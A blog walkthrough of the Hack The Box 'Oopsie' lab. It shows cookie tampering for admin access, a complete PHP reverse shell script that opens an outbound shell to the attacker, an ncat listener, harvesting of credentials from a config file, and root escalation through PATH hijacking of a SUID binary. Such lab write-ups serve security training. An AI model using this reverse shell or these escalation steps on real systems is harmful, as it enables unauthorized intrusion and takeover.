The Be Sure Blog

Code Snippets | Problem Solving | Tips & Tricks

The Be Sure Blog banner

Oopsie: Modify the login cookie, escalate privileges and get the flag!

posted on 25.5.2023 by Below Surface in "Hack The Box"

First, let's scan for open ports (exchange ip with the machines IP address):

sudo nmap -sV ip

The relevant output is:

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))

On the website (put the IP address into your browser) it says, that we need to login to get access to the service. Let's use Burp Suite to crawl/spider the website and find out the login url. On Kali Linux, Burp Suite may be started with:


Then in a browser, Firefox in my case, under Network Settings, add the "Manual proxy configuration":

HTTP Proxy
Port 8080
+ Set a check for "Also use the proxy for HTTPS

Then in Burp Suite, navigate to the "Proxy" tab and enable "Intercept", so the button says "Intercept is on". Now, just refresh the browser and Burp Suite should have gathered some information.

Navigate to the "Target" tab and on the left hand side, open the dropdown with http://ip.

From there we can find the login page and build the login url: http://ip/cdn-cgi/login

If the website is not responding anymore, that's because Burp Suite intercepted the request(s) and you need to click "Forward" or disable intercepting.

How cool, there is a "Login as Guest". When navigating, we see that "Uploads" needs super admin rights, so we need to escalate our role from guest to super admin. Let's see if there is a cookie that we can modify. In Firefox, press F12 to open the devtools console. Then select the "Storage" tab and see under the Cookies dropdown, there is a cookie:

role guest
user 2233

When navigating to "Account" on the guest login website, we can see the url:


If we change the last part to id=1, we get this content shown:

Access ID	Name	Email
34322	admin

Let's modify the cookie in the browser devtools, with those values. So it is now:

role admin
user 34322

Then head back to the "Uploads" page in the browser. We can now see an HTML form with the option to upload files.

Now we will try to get a reverse shell with PHP. There are existing scripts, ready to use. We need php/php-reverse-shell.php, which we will modify (IP address and port). You can find the original one here:

Our modified PHP script is this one and we will save it in ~/temp/php-reverse-shell.php (make sure you change the $ip variable):

// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
// In all other respects the GPL version 2 applies:
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
// You are encouraged to send comments, improvements or suggestions to
// me at
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
// Usage
// -----
// See if you get stuck.

set_time_limit (0); $VERSION = "1.0"; $ip = 'ip';  // CHANGE THIS $port = 1234;       // CHANGE THIS $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0;

// // Daemonise ourself if possible to avoid zombies later //

// pcntl_fork is hardly ever available, but will allow us to daemonise // our php process and avoid zombies.  Worth a try... if (function_exists('pcntl_fork')) {         // Fork and have the parent process exit         $pid = pcntl_fork();

        if ($pid == -1) {                 printit("ERROR: Can't fork");                 exit(1);         }

        if ($pid) {                 exit(0);  // Parent exits         }

        // Make the current process a session leader         // Will only succeed if we forked         if (posix_setsid() == -1) {                 printit("Error: Can't setsid()");                 exit(1);         }

        $daemon = 1; } else {         printit("WARNING: Failed to daemonise.  This is quite common and not fatal."); }

// Change to a safe directory chdir("/");

// Remove any umask we inherited umask(0);

// // Do the reverse shell... //

// Open reverse connection $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) {         printit("$errstr ($errno)");         exit(1); }

// Spawn shell process $descriptorspec = array(    0 => array("pipe", "r"),  // stdin is a pipe that the child will read from    1 => array("pipe", "w"),  // stdout is a pipe that the child will write to    2 => array("pipe", "w")   // stderr is a pipe that the child will write to );

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {         printit("ERROR: Can't spawn shell");         exit(1); }

// Set everything to non-blocking // Reason: Occsionally reads will block, even though stream_select tells us they won't stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {         // Check for end of TCP connection         if (feof($sock)) {                 printit("ERROR: Shell connection terminated");                 break;         }

        // Check for end of STDOUT         if (feof($pipes[1])) {                 printit("ERROR: Shell process terminated");                 break;         }

        // Wait until a command is end down $sock, or some         // command output is available on STDOUT or STDERR         $read_a = array($sock, $pipes[1], $pipes[2]);         $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

        // If we can read from the TCP socket, send         // data to process's STDIN         if (in_array($sock, $read_a)) {                 if ($debug) printit("SOCK READ");                 $input = fread($sock, $chunk_size);                 if ($debug) printit("SOCK: $input");                 fwrite($pipes[0], $input);         }

        // If we can read from the process's STDOUT         // send data down tcp connection         if (in_array($pipes[1], $read_a)) {                 if ($debug) printit("STDOUT READ");                 $input = fread($pipes[1], $chunk_size);                 if ($debug) printit("STDOUT: $input");                 fwrite($sock, $input);         }

        // If we can read from the process's STDERR         // send data down tcp connection         if (in_array($pipes[2], $read_a)) {                 if ($debug) printit("STDERR READ");                 $input = fread($pipes[2], $chunk_size);                 if ($debug) printit("STDERR: $input");                 fwrite($sock, $input);         } }

fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process);

// Like print, but does nothing if we've daemonised ourself // (I can't figure out how to redirect STDOUT like a proper daemon) function printit ($string) {         if (!$daemon) {                 print "$string\n";         } }


Now, let's upload the script to the website via the upload form. Should be a success! I had to try different VPN options to get it working. Since this is often an issue for me when playing Hack the Box, I want to mention the three options here briefly:

Option 1: Running this command in a terminal.

sudo openvpn Downloads/starting_point_username.ovpn

It mostly works well, but when trying to upload the reverse shell, I got

2023-05-26 03:10:59 read UDPv4 [ENETUNREACH]: Network is unreachable (fd=3,code=101)
2023-05-26 03:10:59 read UDPv4 [ENETUNREACH]: Network is unreachable (fd=3,code=101)
2023-05-26 03:10:59 read UDPv4 [ENETUNREACH]: Network is unreachable (fd=3,code=101)
2023-05-26 03:11:00 read UDPv4 [ENETUNREACH]: Network is unreachable (fd=3,code=101)
2023-05-26 03:11:02 read UDPv4 [ENETUNREACH]: Network is unreachable (fd=3,code=101)

Option 2: Starting the VPN via VPN Connections/Configure VPN/Import a saved VPN configuration, and then select the "starting_point_username.ovpn" file. It does connect, but the shell upload also fails.

Option 3: Running the OpenVPN GUI on the windows machine, my virtual Kali machine runs on. This finally allowed me to upload the reverse shell!

But where did the script get uploaded to? Let's bruteforce the directories with Gobuster to try locating our file.

gobuster dir --url http://ip/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php

The directory "/uploads" seems like a logical place to find our file, but "Status: 301" means, that we don't have permission to access this resource. But maybe we can still open our uploaded script.

First, we need to setup Netcat in a terminal (the port needs to match the $port in the .php script):

ncat -lvnp 1234

Expected output:

Ncat: Version 7.93 ( )
Ncat: Listening on :::1234
Ncat: Listening on

So now, when we visit the url


Netcat should receive the connection:

Ncat: Connection from
Ncat: Connection from
Linux oopsie 4.15.0-76-generic #86-Ubuntu SMP Fri Jan 17 17:24:28 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 07:12:26 up 9 min,  0 users,  load average: 0.00, 0.03, 0.03
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off

To get a properly working shell, we can run

python3 -c 'import pty;pty.spawn("/bin/bash")'

Now we have restricted access to the server and can navigate through the directories. Let's navigate to


Here we find a few files:

admin.php  db.php  index.php  script.js

db.php looks interesting. Let's see the content:

cat db.php


$conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage');

Let's try to log in as robert with this credentials (robert, M3g4C0rpUs3r!):

su robert
Password: M3g4C0rpUs3r!

Success! Let's navigate around. In robert's root directory, we find an user.txt file, which contains the user flag!

cd ~
cat user.txt

Nice to know:

If that would not have worked, here is another way to search for passwords within files:

cat * | grep -i passw*


if($_POST["username"]==="admin" && $_POST["password"]==="MEGACORP_4dm1n!!")
<input type="password" name="password" placeholder="Password" />

We got another password: MEGACORP_4dm1n!!

To see all users of this system, run

cat /etc/passwd

There is an user called "robert", Let's try to login:

su robert
Password: MEGACORP_4dm1n!!

But in this case, it is the wrong password and we were successful already above.

Now, we are still not root. Let's try the two passwords we have gathered:

sudo -l
Password: M3g4C0rpUs3r!
Sorry, user robert may not run sudo on oopsie.
sudo -l
Password: MEGACORP_4dm1n!!
su: Authentication failure

Both do obiously not work. Let's try the other command for privilege elevation:



uid=1000(robert) gid=1000(robert) groups=1000(robert),1001(bugtracker)

Robert is part of the group bugtracker, let's see if there is any binary in this group:

find / -group bugtracker 2>/dev/null



That means, there is a file called bugtracker. Let's see more details and how the privileges are set:

ls -la /usr/bin/bugtracker && file /usr/bin/bugtracker


-rwsr-xr-- 1 root bugtracker 8792 Jan 25  2020 /usr/bin/bugtracker
/usr/bin/bugtracker: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=b87543421344c400a95cbbe34bbc885698b52b8d, not stripped

We see a SUID (Set owner User ID), which could be possible to use for exploitation. Because a file with SUID will always execute as the user who owns it. It does not matter, which user fires the command. In case of the bugtracker file, it is owned by root, so we can execute it as root, because SUID is set.

cd /usr/bin


: EV Bug Tracker :

Provide Bug ID:

We will provide anything (123 in my case) and will see an output like this:

cat: /root/reports/123: No such file or directory

We learn that the bugtracker tool takes the user input and takes this as the name of the file that will be read with the cat command. Since it does not specify the whole path, we may be able to exploit this.

cd /tmp
echo "/bin/sh" > cat
chmod +x cat
export PATH=/tmp:$PATH // set the environmental variable, so the command cat will trigger our created cat script

So, if we run bugtracker again and provide it any input:


The output is:


Out desired root shell! Now we can find the flag at /root. Don't forget that the cat command does not work anymore. We can use another command to output the flag:

cd /root
head root.txt


hack the box
php reverse shell


More posts of this category

Meow: How to pwn the machine (Nmap, Telnet)

Use nmap and telnet to get the flag

Hack The Box

Fawn: Pwn the machine (FTP)

Find the open FTP port and extract the flag!

Hack The Box

Dancing: Pwn the machine (SMB)

How to retrieve the flag with SMB (Server-Message-Block)

Hack The Box

Redeemer: Pwn the machine and capture the flag (Redis)

How to get the flag from the Redis database

Hack The Box

Appointment: Use SQL-Injection to pwn the machine

How to extract the flag by logging in without a password

Hack The Box

Sequel: Access a MariaDB instance with default credentials

Scan for the open ports, log into the database and get the flag!

Hack The Box

Crocodile: Capture the flag! (FTP, Gobuster)

Get credentials via the open FTP port and use Gobuster to find the login file

Hack The Box

Responder: Crack the password hash and login as admin

Use Nmap, modify the hosts file and exploit LFI to grab the hash and crack it

Hack The Box

Three: Get a reverse shell via AWS S3

Use Nmap, Gobuster, Ncat, PHP and the AWS CLI to capture the flag

Hack The Box

Archetype: From user to admin

Make good use of nmap, smbclient, mssqlclient, xp_cmdshell, winPEAS & psexec

Hack The Box

Vaccine: Pwn the machine (zip2john, hashcat, sqlmap)

Crack the .zip archive, use sql injection and escalate your privileges to get the flags

Hack The Box

Unified: Exploit Log4j, modify a MongoDB entry and get the flags

Log4j exploitation, HTTP request modification & privilege escalation

Hack The Box

Explosion: Use xfreerdp to connect to the service

Make use of the poorly configured service and get the flag

Hack The Box

Preignition: Use Gobuster and default credentials

Gobuster is used to find the login page of the server by dir busting

Hack The Box

Mongod: Use the MongoDB cli to get the flag

MongoDB is a NoSQL database. Use the mongo cli to pwn the machine

Hack The Box

Synced: Use Rsync to browse public shares

Rsync is a fast file copying tool. We will use it to download the flag

Hack The Box

Ignition: Use Gobuster and a common used password

Modify the hosts file, do dir busting and try common passwords to get the flag

Hack The Box

Bike: Exploit a Node.js template engine vulnerability

Insert malicious code to leave the sandbox and get the flag!

Hack The Box

Funnel: Use local port forwarding to access the PostgreSQL DB

Since we can't interact with the DB directly, we use tunneling

Hack The Box

Pennyworth: Remote command execution vulnerability

Default credentials help us to execute Groovy Script code to get a reverse shell

Hack The Box

Tactics: Get the flag via Samba Client or

Browse the Windows shares with default credentials and extract the flag

Hack The Box

Included: Local file inclusion, reverse shell and privilege escalation

Use TFTP, get a reverse shell, build and upload an Alpine image with root

Hack The Box

Markup: Use XXE Injection and privilege escalation to get the flag

Nmap, BurpSuite, Ncat, default credentials and misconfigurations

Hack The Box

Base: PHP Type Juggling, Arbitrary File Upload, clear text credentials

Use BurpSuite, Netcat, SSH, Gobuster and PHP to get a reverse shell

Hack The Box

Sau: Use Server Side Request Forgery to pwn the machine

Exploit known vulnerabilities and capture the flags

Hack The Box

Pilgrimage: Use various exploits to get the two flags

Git Repo Dump, Arbitrary File Read, Remote Code Execution

Hack The Box

Topology: Use LaTeX Injection and Hashcat

Get the credentials and crack the password hash to get the flags

Hack The Box

MonitorsTwo: Use two exploits, crack the BCrypt hash and escalate privileges

Get a reverse shell, break out of a Docker container and get the flags

Hack The Box